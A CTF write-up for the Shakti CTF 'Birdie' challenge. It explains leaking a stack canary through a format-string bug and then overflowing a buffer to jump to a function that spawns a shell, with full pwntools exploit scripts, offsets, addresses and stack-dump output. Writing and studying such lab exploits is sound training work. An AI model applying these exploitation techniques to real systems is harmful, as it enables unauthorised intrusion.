[Shakti CTF] Birdie

For this challenge we have an elf file that doesn’t have a PIE but has a stack canary.

┌──(pwn)(eurus㉿warfare)-[~/…/shakti_ctf/Birdie]
└─$ python3 solver.py
[*] '/…/shakti_ctf/Birdie/birdie'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

in disassembling this elf we can see that we have a string-format vulnerability and also the possibility to make a buffer overflow. We can also see that we have a function that call system('/bin/sh'). In order to win this challenge, we need to redirect the flow of this binary program to this function.

A buffer overflow can be made by leaking the canary on the stack. Fortunately with the format-string vulnerability we can leak information from the binary-program during its execution.

from pwn import *

elf = ELF('./birdie')
context.binary = elf

for i in range(1, 100):
    p = elf.process()
    p.recvuntil('Enter your name\n')
    p.sendline(f"%{i}$p")
    log.info(f"{i}:")
    leak = p.recvuntil('\n')
    log.info(leak)
    p.close()

I have written this little script to explore the stack and try to find the exact position where the canary is.

[*] 1:
[*] 0x7ffe1c4a8b70
[*] 2:
[*] 0x20
[*] 3:
[*] 0x7f69ca347e8e
[*] 4:
[*] 0x10
[*] 5:
[*] 0x7f488078e180
[*] 6:
[*] 0xf0b2ff
[*] 7:
[*] 0xc2
[*] 8:
[*] 0x1
[*] 9:
[*] 0x4008dd
[*] 10:
[*] 0xa7024303125
[*] 11:
[*] (nil)
[*] 12:
[*] 0x400890
[*] 13:
[*] 0x400690
[*] 14:
[*] 0x7ffe929cda80
[*] 15:
[*] 0xd6194b70fcac3700
[*] 16:
[*] 0x400890
[*] 17:
[*] 0x7fccfae1ed0a
[*] 18:
[*] 0x7ffc3a997f28
[*] 19:
[*] 0x100000000
[*] 20:
[*] 0x4007e2

with this dump of the stack (be careful, this is not the stack of one single execution, but every leak in an offset is an individual execution) the canary is at the offset 15. The stack value can be dumped by sending the string: %15$p to the server.

Once we have the canary value, theoretically we can perform a buffer overflow. Using cyclic and gdb, we find that the offset to the canary in the execution is 72 bytes. Having this information, I have written a script that redirects the execution of the program.

elf = ELF('./birdie')
context.binary = elf


p = elf.process()
#gdb.attach(p, gdbscript = 'b *0x00000000004007E2')
#p = remote("34.121.211.139", 1111)

p.recvuntil('Enter your name\n')
p.sendline(f"%15$p")
leak = str(p.recvuntil('\n'))
c = leak.replace('b\'','').replace('\\n\'','')

log.info(c)

win = 0x0000000000400873
ret_gd = 0x000000000040060e
canary = int(c, 16)
log.info(str(hex(canary)))
payload = b'A'*72+p64(canary)+p64(0)+p64(ret_gd)+p64(win)

p.recvuntil('Enter the payload\n')
p.sendline(payload)
p.interactive()

Now we have a shell that allows us to get the flag!